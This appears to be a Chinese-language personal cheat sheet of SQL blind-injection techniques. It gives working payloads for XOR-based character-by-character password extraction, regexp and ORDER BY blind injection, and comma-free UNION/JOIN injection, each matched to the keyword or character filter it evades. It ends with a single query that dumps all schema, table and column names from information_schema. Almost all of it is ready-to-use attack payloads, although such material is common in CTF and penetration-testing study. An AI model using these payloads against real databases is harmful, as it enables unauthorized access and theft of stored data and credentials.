sql盲注總結[長期更新]
-
基本payload
admin^(ascii(mid((password)from(i)))>j)^'1'='1'%23 或者 admin^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23
ascii函式預設取字串中第一個字元的ascii碼作為輸出
-
使用場景
-
過濾了關鍵字:
and
or
- 過濾了逗號
- 過濾了空格
-
過濾了關鍵字:
regexp注入
-
基本payload
select (select xxxx) regexp '正則'
-
使用場景
-
過濾了
=
,in
,like
-
過濾了
order by 盲注
-
基本payload
select * from users where user_id='1' union select 1,2,'a',4,5,6,7 order by 3
-
使用場景
- 過濾了列名
- 過濾了括號
- 適用於已知該表的列名以及列名位置的注入
join注入
-
payload:
1' union select * from(select 1)a join (select 2)b %23 union all select * from( (select 1)a join( select F.[需要查詢的欄位號] from( select * from [需要查詢的表有多少個欄位就join多少個] union select * from [需要查詢的表] [limit子句] )F-- 我們建立的虛擬表沒有表名,因此定義一個別名,然後直接[別名].[欄位號]查詢資料 )b-- 同上[還差多少欄位就再join多少個,以滿足欄位數相同的原則] )
-
使用場景:
- 過濾了逗號、欄位名
Other tips
-
一次性爆所有表名和欄位名:
(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)